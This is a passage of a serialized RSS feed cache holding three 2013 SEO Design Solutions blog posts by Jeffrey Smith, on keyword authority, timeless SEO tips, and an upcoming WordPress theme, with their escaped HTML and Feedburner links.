href=\&quot;http://feeds.seodesignsolutions.com/~ff/SeoDesignSolutionsBlog?a=LJ6Gvt04QPQ:OoemnRzMDjw:yIl2AUoC8zA\&quot;&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~ff/SeoDesignSolutionsBlog?d=yIl2AUoC8zA\&quot; border=\&quot;0\&quot;&gt;&lt;/img&gt;&lt;/a&gt;\n&lt;/div&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~r/SeoDesignSolutionsBlog/~4/LJ6Gvt04QPQ\&quot; height=\&quot;1\&quot; width=\&quot;1\&quot;/&gt;\&quot;;}i:1;a:12:{s:5:\&quot;title\&quot;;s:29:\&quot;Why Website Authority Matters\&quot;;s:4:\&quot;link\&quot;;s:77:\&quot;http://feeds.seodesignsolutions.com/~r/SeoDesignSolutionsBlog/~3/BjdrkiImg_8/\&quot;;s:8:\&quot;category\&quot;;s:10:\&quot;Mini-Blogs\&quot;;s:2:\&quot;dc\&quot;;a:1:{s:7:\&quot;creator\&quot;;s:13:\&quot;Jeffrey_Smith\&quot;;}s:7:\&quot;pubdate\&quot;;s:29:\&quot;Fri, 26 Jul 2013 12:30:48 PDT\&quot;;s:4:\&quot;guid\&quot;;s:46:\&quot;http://www.seodesignsolutions.com/blog/?p=9274\&quot;;s:7:\&quot;content\&quot;;a:1:{s:7:\&quot;encoded\&quot;;s:2150:\&quot;&lt;p&gt;Rome was not built in a day, neither was a top ranking using SEO. Each keyword has a threshold that search engines and the competition have set, finding it and surpassing that mark is the true objective of search engine optimization.&lt;br /&gt;\n&lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo-marketing/build-authority-before-links/\&quot;&gt;&lt;img src=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2009/01/mount-everest.jpg\&quot; alt=\&quot;mount-everest\&quot; title=\&quot;mount-everest\&quot; width=\&quot;400\&quot; height=\&quot;265\&quot; class=\&quot;aligncenter size-full wp-image-1106\&quot; /&gt;&lt;/a&gt;&lt;br /&gt;\nJust like climbing &lt;strong&gt;Mount Everest&lt;/strong&gt; (&lt;strong&gt;conquering a competitive keyword&lt;/strong&gt;), takes planning, preparation and execution. One of the common misconceptions about search engine optimization is that once you acquire the most competitive keyword in your industry the floodgates will open and your job marketing your product or service is done.&lt;/p&gt;\n&lt;p&gt;Nothing is farther from the truth, sure SEO can generate hordes of traffic, but unless the fundamental &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo/impulse-surfing-click-triggers-and-keywords/\&quot;&gt;click-triggers&lt;/a&gt; are in place, a strong value proposition exists or if your presentation just doesn&amp;#8217;t make the grade, there is no loyalty from would be visitors perusing your content, only the back button.&lt;/p&gt;\n&lt;p&gt;The premise is simple, appear for as many relevant keywords as possible that funnel visitors to the underlying conversion objective. &lt;/p&gt;\n&lt;p&gt;&gt;&gt;&gt;Click Here to Read the Full Post &amp;#8211; &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo-marketing/build-authority-before-links/\&quot;&gt;Build Authority Before Links&lt;/a&gt; &lt; &lt;&lt;.&lt;br /&gt;\n&lt;span id=\&quot;more-9274\&quot;&gt;&lt;/span&gt;&lt;/p&gt;\n&lt;p&gt;&lt;a href=\&quot;https://plus.google.com/109189625824502979466/?rel=author\&quot; rel=\&quot;author\&quot;&gt; -Jeffrey&lt;/a&gt;&lt;/p&gt;&lt;div class=\&quot;feedflare\&quot;&gt;\n&lt;a href=\&quot;http://feeds.seodesignsolutions.com/~ff/SeoDesignSolutionsBlog?a=BjdrkiImg_8:bQt6OrubZgg:yIl2AUoC8zA\&quot;&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~ff/SeoDesignSolutionsBlog?d=yIl2AUoC8zA\&quot; border=\&quot;0\&quot;&gt;&lt;/img&gt;&lt;/a&gt;\n&lt;/div&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~r/SeoDesignSolutionsBlog/~4/BjdrkiImg_8\&quot; height=\&quot;1\&quot; width=\&quot;1\&quot;/&gt;\&quot;;}s:11:\&quot;description\&quot;;s:351:\&quot;Rome was not built in a day, neither was a top ranking using SEO. Each keyword has a threshold that search engines and the competition have set, finding it and surpassing that mark is the true objective of search engine optimization. Just like climbing Mount Everest (conquering a competitive keyword), takes planning, preparation and execution. [...]\&quot;;s:5:\&quot;slash\&quot;;a:1:{s:8:\&quot;comments\&quot;;s:1:\&quot;2\&quot;;}s:10:\&quot;feedburner\&quot;;a:1:{s:8:\&quot;origlink\&quot;;s:76:\&quot;http://www.seodesignsolutions.com/blog/mini-blogs/website-authority-matters/\&quot;;}s:7:\&quot;summary\&quot;;s:351:\&quot;Rome was not built in a day, neither was a top ranking using SEO. Each keyword has a threshold that search engines and the competition have set, finding it and surpassing that mark is the true objective of search engine optimization. Just like climbing Mount Everest (conquering a competitive keyword), takes planning, preparation and execution. [...]\&quot;;s:12:\&quot;atom_content\&quot;;s:2150:\&quot;&lt;p&gt;Rome was not built in a day, neither was a top ranking using SEO. Each keyword has a threshold that search engines and the competition have set, finding it and surpassing that mark is the true objective of search engine optimization.&lt;br /&gt;\n&lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo-marketing/build-authority-before-links/\&quot;&gt;&lt;img src=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2009/01/mount-everest.jpg\&quot; alt=\&quot;mount-everest\&quot; title=\&quot;mount-everest\&quot; width=\&quot;400\&quot; height=\&quot;265\&quot; class=\&quot;aligncenter size-full wp-image-1106\&quot; /&gt;&lt;/a&gt;&lt;br /&gt;\nJust like climbing &lt;strong&gt;Mount Everest&lt;/strong&gt; (&lt;strong&gt;conquering a competitive keyword&lt;/strong&gt;), takes planning, preparation and execution. One of the common misconceptions about search engine optimization is that once you acquire the most competitive keyword in your industry the floodgates will open and your job marketing your product or service is done.&lt;/p&gt;\n&lt;p&gt;Nothing is farther from the truth, sure SEO can generate hordes of traffic, but unless the fundamental &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo/impulse-surfing-click-triggers-and-keywords/\&quot;&gt;click-triggers&lt;/a&gt; are in place, a strong value proposition exists or if your presentation just doesn&amp;#8217;t make the grade, there is no loyalty from would be visitors perusing your content, only the back button.&lt;/p&gt;\n&lt;p&gt;The premise is simple, appear for as many relevant keywords as possible that funnel visitors to the underlying conversion objective. &lt;/p&gt;\n&lt;p&gt;&gt;&gt;&gt;Click Here to Read the Full Post &amp;#8211; &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo-marketing/build-authority-before-links/\&quot;&gt;Build Authority Before Links&lt;/a&gt; &lt; &lt;&lt;.&lt;br /&gt;\n&lt;span id=\&quot;more-9274\&quot;&gt;&lt;/span&gt;&lt;/p&gt;\n&lt;p&gt;&lt;a href=\&quot;https://plus.google.com/109189625824502979466/?rel=author\&quot; rel=\&quot;author\&quot;&gt; -Jeffrey&lt;/a&gt;&lt;/p&gt;&lt;div class=\&quot;feedflare\&quot;&gt;\n&lt;a href=\&quot;http://feeds.seodesignsolutions.com/~ff/SeoDesignSolutionsBlog?a=BjdrkiImg_8:bQt6OrubZgg:yIl2AUoC8zA\&quot;&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~ff/SeoDesignSolutionsBlog?d=yIl2AUoC8zA\&quot; border=\&quot;0\&quot;&gt;&lt;/img&gt;&lt;/a&gt;\n&lt;/div&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~r/SeoDesignSolutionsBlog/~4/BjdrkiImg_8\&quot; height=\&quot;1\&quot; width=\&quot;1\&quot;/&gt;\&quot;;}i:2;a:12:{s:5:\&quot;title\&quot;;s:45:\&quot;20 Timeless SEO Tips to Defuse Search Animals\&quot;;s:4:\&quot;link\&quot;;s:77:\&quot;http://feeds.seodesignsolutions.com/~r/SeoDesignSolutionsBlog/~3/IUrvXV-SmrM/\&quot;;s:8:\&quot;category\&quot;;s:8:\&quot;SEO Tips\&quot;;s:2:\&quot;dc\&quot;;a:1:{s:7:\&quot;creator\&quot;;s:13:\&quot;Jeffrey_Smith\&quot;;}s:7:\&quot;pubdate\&quot;;s:29:\&quot;Thu, 11 Jul 2013 12:48:55 PDT\&quot;;s:4:\&quot;guid\&quot;;s:46:\&quot;http://www.seodesignsolutions.com/blog/?p=9267\&quot;;s:7:\&quot;content\&quot;;a:1:{s:7:\&quot;encoded\&quot;;s:2243:\&quot;&lt;p&gt;Today’s &lt;em&gt;post from the past&lt;/em&gt; covers 20 SEO techniques you either forgot or never knew about, including proven insights for producing viable, repeatable results.&lt;/p&gt;\n&lt;p style=\&quot;text-align: center;\&quot;&gt;&lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo-tips/20-seo-tips-you-either-forgot-or-didnt-know/\&quot;&gt;&lt;img class=\&quot;aligncenter size-full wp-image-8737\&quot; title=\&quot;20-things-about-seo\&quot; alt=\&quot;20 SEO Tips\&quot; src=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2011/05/20-things-about-seo.jpg\&quot; width=\&quot;368\&quot; height=\&quot;326\&quot; /&gt;&lt;br /&gt;\n&lt;/a&gt;&lt;strong&gt;It&amp;#8217;s ok bobo, we&amp;#8217;ve got your back!&lt;/strong&gt;&lt;/p&gt;\n&lt;p&gt;With search engine animals and algorithms being more difficult to impress, creating websites that holistically reinforce themselves both internally from &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo/how-to-easily-create-silo-site-architecture/\&quot;&gt;website silo architecture&lt;/a&gt; and internal linking as well as receive sufficient &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/search-engine-optimization/theming-your-content-for-higher-search-engine-results/\&quot;&gt;peer review&lt;/a&gt; via links from other topical websites (in the proper proportions with an acceptable &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/link-building/finding-the-right-link-velocity-to-complement-seo/\&quot;&gt;link velocity&lt;/a&gt; ) determines the strength of the website and which keywords emerge with a dominant presence in search results.&lt;/p&gt;\n&lt;p&gt;Despite this post being over 2 years old, these strategies are still effective in a post penguin and panda world. Click here to read the original post &amp;#8211; &amp;#8220;&lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo-tips/20-seo-tips-you-either-forgot-or-didnt-know/\&quot;&gt;20 Things You Either Forgot or Never Knew About SEO&lt;/a&gt;&amp;#8220;.&lt;/p&gt;\n&lt;p&gt;&lt;span id=\&quot;more-9267\&quot;&gt;&lt;/span&gt;&lt;/p&gt;\n&lt;p&gt;&lt;a href=\&quot;https://plus.google.com/109189625824502979466/?rel=author\&quot; rel=\&quot;author\&quot;&gt; -Jeffrey&lt;/a&gt;&lt;/p&gt;&lt;div class=\&quot;feedflare\&quot;&gt;\n&lt;a href=\&quot;http://feeds.seodesignsolutions.com/~ff/SeoDesignSolutionsBlog?a=IUrvXV-SmrM:GenmAslfyCM:yIl2AUoC8zA\&quot;&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~ff/SeoDesignSolutionsBlog?d=yIl2AUoC8zA\&quot; border=\&quot;0\&quot;&gt;&lt;/img&gt;&lt;/a&gt;\n&lt;/div&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~r/SeoDesignSolutionsBlog/~4/IUrvXV-SmrM\&quot; height=\&quot;1\&quot; width=\&quot;1\&quot;/&gt;\&quot;;}s:11:\&quot;description\&quot;;s:396:\&quot;Today’s post from the past covers 20 SEO techniques you either forgot or never knew about, including proven insights for producing viable, repeatable results. It&amp;#8217;s ok bobo, we&amp;#8217;ve got your back! With search engine animals and algorithms being more difficult to impress, creating websites that holistically reinforce themselves both internally from website silo architecture and [...]\&quot;;s:5:\&quot;slash\&quot;;a:1:{s:8:\&quot;comments\&quot;;s:1:\&quot;0\&quot;;}s:10:\&quot;feedburner\&quot;;a:1:{s:8:\&quot;origlink\&quot;;s:91:\&quot;http://www.seodesignsolutions.com/blog/seo-tips/20-timeless-seo-tips-defuse-search-animals/\&quot;;}s:7:\&quot;summary\&quot;;s:396:\&quot;Today’s post from the past covers 20 SEO techniques you either forgot or never knew about, including proven insights for producing viable, repeatable results. It&amp;#8217;s ok bobo, we&amp;#8217;ve got your back! With search engine animals and algorithms being more difficult to impress, creating websites that holistically reinforce themselves both internally from website silo architecture and [...]\&quot;;s:12:\&quot;atom_content\&quot;;s:2243:\&quot;&lt;p&gt;Today’s &lt;em&gt;post from the past&lt;/em&gt; covers 20 SEO techniques you either forgot or never knew about, including proven insights for producing viable, repeatable results.&lt;/p&gt;\n&lt;p style=\&quot;text-align: center;\&quot;&gt;&lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo-tips/20-seo-tips-you-either-forgot-or-didnt-know/\&quot;&gt;&lt;img class=\&quot;aligncenter size-full wp-image-8737\&quot; title=\&quot;20-things-about-seo\&quot; alt=\&quot;20 SEO Tips\&quot; src=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2011/05/20-things-about-seo.jpg\&quot; width=\&quot;368\&quot; height=\&quot;326\&quot; /&gt;&lt;br /&gt;\n&lt;/a&gt;&lt;strong&gt;It&amp;#8217;s ok bobo, we&amp;#8217;ve got your back!&lt;/strong&gt;&lt;/p&gt;\n&lt;p&gt;With search engine animals and algorithms being more difficult to impress, creating websites that holistically reinforce themselves both internally from &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo/how-to-easily-create-silo-site-architecture/\&quot;&gt;website silo architecture&lt;/a&gt; and internal linking as well as receive sufficient &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/search-engine-optimization/theming-your-content-for-higher-search-engine-results/\&quot;&gt;peer review&lt;/a&gt; via links from other topical websites (in the proper proportions with an acceptable &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/link-building/finding-the-right-link-velocity-to-complement-seo/\&quot;&gt;link velocity&lt;/a&gt; ) determines the strength of the website and which keywords emerge with a dominant presence in search results.&lt;/p&gt;\n&lt;p&gt;Despite this post being over 2 years old, these strategies are still effective in a post penguin and panda world. Click here to read the original post &amp;#8211; &amp;#8220;&lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo-tips/20-seo-tips-you-either-forgot-or-didnt-know/\&quot;&gt;20 Things You Either Forgot or Never Knew About SEO&lt;/a&gt;&amp;#8220;.&lt;/p&gt;\n&lt;p&gt;&lt;span id=\&quot;more-9267\&quot;&gt;&lt;/span&gt;&lt;/p&gt;\n&lt;p&gt;&lt;a href=\&quot;https://plus.google.com/109189625824502979466/?rel=author\&quot; rel=\&quot;author\&quot;&gt; -Jeffrey&lt;/a&gt;&lt;/p&gt;&lt;div class=\&quot;feedflare\&quot;&gt;\n&lt;a href=\&quot;http://feeds.seodesignsolutions.com/~ff/SeoDesignSolutionsBlog?a=IUrvXV-SmrM:GenmAslfyCM:yIl2AUoC8zA\&quot;&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~ff/SeoDesignSolutionsBlog?d=yIl2AUoC8zA\&quot; border=\&quot;0\&quot;&gt;&lt;/img&gt;&lt;/a&gt;\n&lt;/div&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~r/SeoDesignSolutionsBlog/~4/IUrvXV-SmrM\&quot; height=\&quot;1\&quot; width=\&quot;1\&quot;/&gt;\&quot;;}i:3;a:12:{s:5:\&quot;title\&quot;;s:40:\&quot;SEO Tools: Looking Back to Move Forward!\&quot;;s:4:\&quot;link\&quot;;s:77:\&quot;http://feeds.seodesignsolutions.com/~r/SeoDesignSolutionsBlog/~3/ygIVQfNT5A8/\&quot;;s:8:\&quot;category\&quot;;s:20:\&quot;SEO ToolsSEOSEO Tips\&quot;;s:2:\&quot;dc\&quot;;a:1:{s:7:\&quot;creator\&quot;;s:13:\&quot;Jeffrey_Smith\&quot;;}s:7:\&quot;pubdate\&quot;;s:29:\&quot;Mon, 11 Mar 2013 04:06:54 PDT\&quot;;s:4:\&quot;guid\&quot;;s:46:\&quot;http://www.seodesignsolutions.com/blog/?p=9243\&quot;;s:7:\&quot;content\&quot;;a:1:{s:7:\&quot;encoded\&quot;;s:7115:\&quot;&lt;p&gt;Sometimes, especially with SEO tools, you&amp;#8217;ve got to go back to move forward. I recently stumbled accross this old video of myself and my good friend Matt Da Cruz from 3 years ago discussing the future of some of the sickest SEO tools ever released for public consumption.&lt;br /&gt;\n&lt;object width=\&quot;500\&quot; height=\&quot;281\&quot; classid=\&quot;clsid:d27cdb6e-ae6d-11cf-96b8-444553540000\&quot; codebase=\&quot;http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0\&quot;&gt;&lt;param name=\&quot;allowFullScreen\&quot; value=\&quot;true\&quot; /&gt;&lt;param name=\&quot;allowscriptaccess\&quot; value=\&quot;always\&quot; /&gt;&lt;param name=\&quot;src\&quot; value=\&quot;http://www.youtube.com/v/oip4_46eoNA?hl=en_US&amp;amp;version=3\&quot; /&gt;&lt;param name=\&quot;allowfullscreen\&quot; value=\&quot;true\&quot; /&gt;&lt;embed width=\&quot;500\&quot; height=\&quot;281\&quot; type=\&quot;application/x-shockwave-flash\&quot; src=\&quot;http://www.youtube.com/v/oip4_46eoNA?hl=en_US&amp;amp;version=3\&quot; allowFullScreen=\&quot;true\&quot; allowscriptaccess=\&quot;always\&quot; allowfullscreen=\&quot;true\&quot; /&gt;&lt;/object&gt;&lt;br /&gt;\nThis was the precursor to some of the features we had planned for the &lt;a href=\&quot;http://www.wpultimatetheme.com/wp-ultimate-features/\&quot;&gt;WP Ultimate Theme&lt;/a&gt; and features that they were building into their suite of tools for  &lt;a href=\&quot;http://www.networkempire.com/dap/a/?a=152\&quot;&gt;Domain Web Studio&lt;/a&gt;.&lt;/p&gt;\n&lt;p&gt;When reminiscing back to 2011, I get excited for two reasons (1) I still had my dreadlocks which I later cut in 2012 (big mistake after 21 years of committment) and (2) the sinister advanced SEO brain storm sessions with Matt plotting market-domination over some highly-caffeinated coffee hit truly unchartered depths.&lt;/p&gt;\n&lt;p&gt;For the record, we could spend the next 10 years building out &lt;strong&gt;the tip of the iceberg&lt;/strong&gt; for some of the automated tools we discussed, but I digress.&lt;/p&gt;\n&lt;p&gt;Looking back in hindsight reminds me that it&amp;#8217;s a good idea to evaluate and assess your old strategies, progress and lessons learned along the way (essentially knowing where you have been, to define where you&amp;#8217;re going).&lt;/p&gt;\n&lt;p&gt;While many of the proposed modules we discussed on the video then have changed (such is life), other ideas have evolved and taken their place in existing features in either their software or ours.&lt;/p&gt;\n&lt;p&gt;Speaking of modules, we have some great updates underway for SEO Ultimate&amp;#8217;s Opengraph Integrator module and are looking forward to updating other SEO Ultimate features for the sake of enhanced usability&amp;#8230; But what about our WP Ultimate theme?&lt;/p&gt;\n&lt;h3&gt;Update on The WP Ultimate Theme Release&lt;/h3&gt;\n&lt;p&gt;In all truthfulness, you&amp;#8217;ll never have a &lt;em&gt;second chance to make a first impression,&lt;/em&gt; which is why we&amp;#8217;ve been so stringent about not releasing our beta version of WP Ultimate Theme until each feature is checked, double checked and triple checked under a diverse array of use-case scenarios.&lt;/p&gt;\n&lt;p&gt;To whet your beak in anticipation of the release, we&amp;#8217;ve provided a few sneak-peak screen caps below for you to peruse.&lt;/p&gt;\n&lt;p&gt;&lt;img class=\&quot;aligncenter size-full wp-image-9244\&quot; alt=\&quot;WP Ultimate SEO Design Theme\&quot; src=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2013/03/WPU-Cap.jpg\&quot; width=\&quot;500\&quot; height=\&quot;340\&quot; /&gt;&lt;/p&gt;\n&lt;p style=\&quot;text-align: center;\&quot;&gt;&lt;strong&gt;The Layout settings&lt;/strong&gt; feature allows &lt;strong&gt;fixed, fluid or responsive layout&lt;/strong&gt; options and customizable sidebar and/or content width.&lt;/p&gt;\n&lt;p&gt;&lt;img class=\&quot;aligncenter size-full wp-image-9245\&quot; alt=\&quot;WPU Screen Cap\&quot; src=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2013/03/WPU-Cap2.jpg\&quot; width=\&quot;500\&quot; height=\&quot;357\&quot; /&gt;&lt;/p&gt;\n&lt;p style=\&quot;text-align: center;\&quot;&gt;&lt;strong&gt;The Typography and Style Settings&lt;/strong&gt; allow granularly CSS / Design control w/ color picker and straight-forward controls.&lt;/p&gt;\n&lt;p style=\&quot;text-align: center;\&quot;&gt;&lt;img class=\&quot;aligncenter size-full wp-image-9246\&quot; alt=\&quot;WPU Screen Cap 3\&quot; src=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2013/03/WPU-Cap3.jpg\&quot; width=\&quot;500\&quot; height=\&quot;324\&quot; /&gt;&lt;/p&gt;\n&lt;p style=\&quot;text-align: center;\&quot;&gt;&lt;strong&gt;The Ad Manager Module&lt;/strong&gt; allows you to add HTML scripts or upload banners with ease and ads can also be used as short codes.&lt;/p&gt;\n&lt;p style=\&quot;text-align: center;\&quot;&gt;&lt;img class=\&quot;aligncenter size-full wp-image-9247\&quot; alt=\&quot;WPU Screen Cap 4\&quot; src=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2013/03/WPU-Cap4.jpg\&quot; width=\&quot;506\&quot; height=\&quot;312\&quot; /&gt;&lt;/p&gt;\n&lt;p style=\&quot;text-align: center;\&quot;&gt;&lt;strong&gt;The Short Code Generator Module&lt;/strong&gt; allows you to create and use your own short codes (maps, contact forms, HTML or text) or, you can select from our built-in short codes from content boxes to columns (it&amp;#8217;s in there).&lt;/p&gt;\n&lt;p&gt;In closing, affiliates and small business owners seeking a visually stunning SEO equalizer will soon have some new &lt;strong&gt;SEO and Design&lt;/strong&gt; tools to play with.&lt;/p&gt;\n&lt;p&gt;However, in the meantime, we are currently stress-testing and refining the last batch of newly integrated features in the front-end (e.g. Twitter Bootstrap, Google Fonts, Slider Revolution, a Timed Lightbox Feature, Content Columns, &lt;a href=\&quot;http://fortawesome.github.com/Font-Awesome/\&quot;&gt;Font Awesome&lt;/a&gt;, the quick silo builder and an ever-increasing library of shortcodes).&lt;/p&gt;\n&lt;h3&gt;Once Beta Testers are Done, It&amp;#8217;s a Wrap&lt;/h3&gt;\n&lt;p&gt;Our beta testers are now in their final review, so, once all bugs are crushed, we&amp;#8217;ll broadcast the announcement to those of you reading this blog via the proper social channels and you&amp;#8217;ll be able to download your copy and &lt;strong&gt;put it to the test&lt;/strong&gt;. As always, we look forward to your feedback and suggestions on how we can make our tools the best they can be.&lt;/p&gt;\n&lt;p&gt;The jury on price point is still hung as we have poured our heart, soul and most coveted tactics and tools into this framework, but we&amp;#8217;ll be sure to entice early adopters with a special promotion coupon code for the launch before settling at the final single user license fee and extended / unlimited site user license rates.&lt;/p&gt;\n&lt;p&gt;In the meantime, thank you for your patience during the scope-creep cycles we&amp;#8217;re emerging from. We truly look forward to building a dynamic community and providing useful resources that you can deploy powered by our battle-tested SEO strategies and tools to generate more revenue for your business.&lt;/p&gt;\n&lt;p&gt;If you haven&amp;#8217;t already, feel free to download &lt;a href=\&quot;http://wordpress.org/extend/plugins/seo-ultimate/\&quot;&gt;SEO Ultimate&lt;/a&gt; our All-In-One WordPress SEO Plugin and take a peak at the &lt;a href=\&quot;http://www.seodesignsolutions.com/wordpress-seo/\&quot;&gt;video tutorial&lt;/a&gt; explaining how to use its various features. Thanks again and stay tuned for more SEO goodies.&lt;/p&gt;\n&lt;p&gt;Have questions or have something to say? Speak up! Share your thoughts below.&lt;/p&gt;\n&lt;p&gt;&lt;a href=\&quot;https://plus.google.com/109189625824502979466/?rel=author\&quot; rel=\&quot;author\&quot;&gt; -Jeffrey&lt;/a&gt;&lt;/p&gt;&lt;div class=\&quot;feedflare\&quot;&gt;\n&lt;a href=\&quot;http://feeds.seodesignsolutions.com/~ff/SeoDesignSolutionsBlog?a=ygIVQfNT5A8:1j0aW7_KlwA:yIl2AUoC8zA\&quot;&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~ff/SeoDesignSolutionsBlog?d=yIl2AUoC8zA\&quot; border=\&quot;0\&quot;&gt;&lt;/img&gt;&lt;/a&gt;\n&lt;/div&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~r/SeoDesignSolutionsBlog/~4/ygIVQfNT5A8\&quot; height=\&quot;1\&quot; width=\&quot;1\&quot;/&gt;\&quot;;}s:11:\&quot;description\&quot;;s:322:\&quot;Sometimes, especially with SEO tools, you&amp;#8217;ve got to go back to move forward. I recently stumbled accross this old video of myself and my good friend Matt Da Cruz from 3 years ago discussing the future of some of the sickest SEO tools ever released for public consumption. This was the precursor to some of the [...]\&quot;;s:5:\&quot;slash\&quot;;a:1:{s:8:\&quot;comments\&quot;;s:1:\&quot;3\&quot;;}s:10:\&quot;feedburner\&quot;;a:1:{s:8:\&quot;origlink\&quot;;s:88:\&quot;http://www.seodesignsolutions.com/blog/seo-tools/seo-tools-looking-back-to-move-forward/\&quot;;}s:7:\&quot;summary\&quot;;s:322:\&quot;Sometimes, especially with SEO tools, you&amp;#8217;ve got to go back to move forward. I recently stumbled accross this old video of myself and my good friend Matt Da Cruz from 3 years ago discussing the future of some of the sickest SEO tools ever released for public consumption. This was the precursor to some of the [...]\&quot;;s:12:\&quot;atom_content\&quot;;s:7115:\&quot;&lt;p&gt;Sometimes, especially with SEO tools, you&amp;#8217;ve got to go back to move forward. I recently stumbled accross this old video of myself and my good friend Matt Da Cruz from 3 years ago discussing the future of some of the sickest SEO tools ever released for public consumption.&lt;br /&gt;\n&lt;object width=\&quot;500\&quot; height=\&quot;281\&quot; classid=\&quot;clsid:d27cdb6e-ae6d-11cf-96b8-444553540000\&quot; codebase=\&quot;http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0\&quot;&gt;&lt;param name=\&quot;allowFullScreen\&quot; value=\&quot;true\&quot; /&gt;&lt;param name=\&quot;allowscriptaccess\&quot; value=\&quot;always\&quot; /&gt;&lt;param name=\&quot;src\&quot; value=\&quot;http://www.youtube.com/v/oip4_46eoNA?hl=en_US&amp;amp;version=3\&quot; /&gt;&lt;param name=\&quot;allowfullscreen\&quot; value=\&quot;true\&quot; /&gt;&lt;embed width=\&quot;500\&quot; height=\&quot;281\&quot; type=\&quot;application/x-shockwave-flash\&quot; src=\&quot;http://www.youtube.com/v/oip4_46eoNA?hl=en_US&amp;amp;version=3\&quot; allowFullScreen=\&quot;true\&quot; allowscriptaccess=\&quot;always\&quot; allowfullscreen=\&quot;true\&quot; /&gt;&lt;/object&gt;&lt;br /&gt;\nThis was the precursor to some of the features we had planned for the &lt;a href=\&quot;http://www.wpultimatetheme.com/wp-ultimate-features/\&quot;&gt;WP Ultimate Theme&lt;/a&gt; and features that they were building into their suite of tools for  &lt;a href=\&quot;http://www.networkempire.com/dap/a/?a=152\&quot;&gt;Domain Web Studio&lt;/a&gt;.&lt;/p&gt;\n&lt;p&gt;When reminiscing back to 2011, I get excited for two reasons (1) I still had my dreadlocks which I later cut in 2012 (big mistake after 21 years of committment) and (2) the sinister advanced SEO brain storm sessions with Matt plotting market-domination over some highly-caffeinated coffee hit truly unchartered depths.&lt;/p&gt;\n&lt;p&gt;For the record, we could spend the next 10 years building out &lt;strong&gt;the tip of the iceberg&lt;/strong&gt; for some of the automated tools we discussed, but I digress.&lt;/p&gt;\n&lt;p&gt;Looking back in hindsight reminds me that it&amp;#8217;s a good idea to evaluate and assess your old strategies, progress and lessons learned along the way (essentially knowing where you have been, to define where you&amp;#8217;re going).&lt;/p&gt;\n&lt;p&gt;While many of the proposed modules we discussed on the video then have changed (such is life), other ideas have evolved and taken their place in existing features in either their software or ours.&lt;/p&gt;\n&lt;p&gt;Speaking of modules, we have some great updates underway for SEO Ultimate&amp;#8217;s Opengraph Integrator module and are looking forward to updating other SEO Ultimate features for the sake of enhanced usability&amp;#8230; But what about our WP Ultimate theme?&lt;/p&gt;\n&lt;h3&gt;Update on The WP Ultimate Theme Release&lt;/h3&gt;\n&lt;p&gt;In all truthfulness, you&amp;#8217;ll never have a &lt;em&gt;second chance to make a first impression,&lt;/em&gt; which is why we&amp;#8217;ve been so stringent about not releasing our beta version of WP Ultimate Theme until each feature is checked, double checked and triple checked under a diverse array of use-case scenarios.&lt;/p&gt;\n&lt;p&gt;To whet your beak in anticipation of the release, we&amp;#8217;ve provided a few sneak-peak screen caps below for you to peruse.&lt;/p&gt;\n&lt;p&gt;&lt;img class=\&quot;aligncenter size-full wp-image-9244\&quot; alt=\&quot;WP Ultimate SEO Design Theme\&quot; src=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2013/03/WPU-Cap.jpg\&quot; width=\&quot;500\&quot; height=\&quot;340\&quot; /&gt;&lt;/p&gt;\n&lt;p style=\&quot;text-align: center;\&quot;&gt;&lt;strong&gt;The Layout settings&lt;/strong&gt; feature allows &lt;strong&gt;fixed, fluid or responsive layout&lt;/strong&gt; options and customizable sidebar and/or content width.&lt;/p&gt;\n&lt;p&gt;&lt;img class=\&quot;aligncenter size-full wp-image-9245\&quot; alt=\&quot;WPU Screen Cap\&quot; src=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2013/03/WPU-Cap2.jpg\&quot; width=\&quot;500\&quot; height=\&quot;357\&quot; /&gt;&lt;/p&gt;\n&lt;p style=\&quot;text-align: center;\&quot;&gt;&lt;strong&gt;The Typography and Style Settings&lt;/strong&gt; allow granularly CSS / Design control w/ color picker and straight-forward controls.&lt;/p&gt;\n&lt;p style=\&quot;text-align: center;\&quot;&gt;&lt;img class=\&quot;aligncenter size-full wp-image-9246\&quot; alt=\&quot;WPU Screen Cap 3\&quot; src=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2013/03/WPU-Cap3.jpg\&quot; width=\&quot;500\&quot; height=\&quot;324\&quot; /&gt;&lt;/p&gt;\n&lt;p style=\&quot;text-align: center;\&quot;&gt;&lt;strong&gt;The Ad Manager Module&lt;/strong&gt; allows you to add HTML scripts or upload banners with ease and ads can also 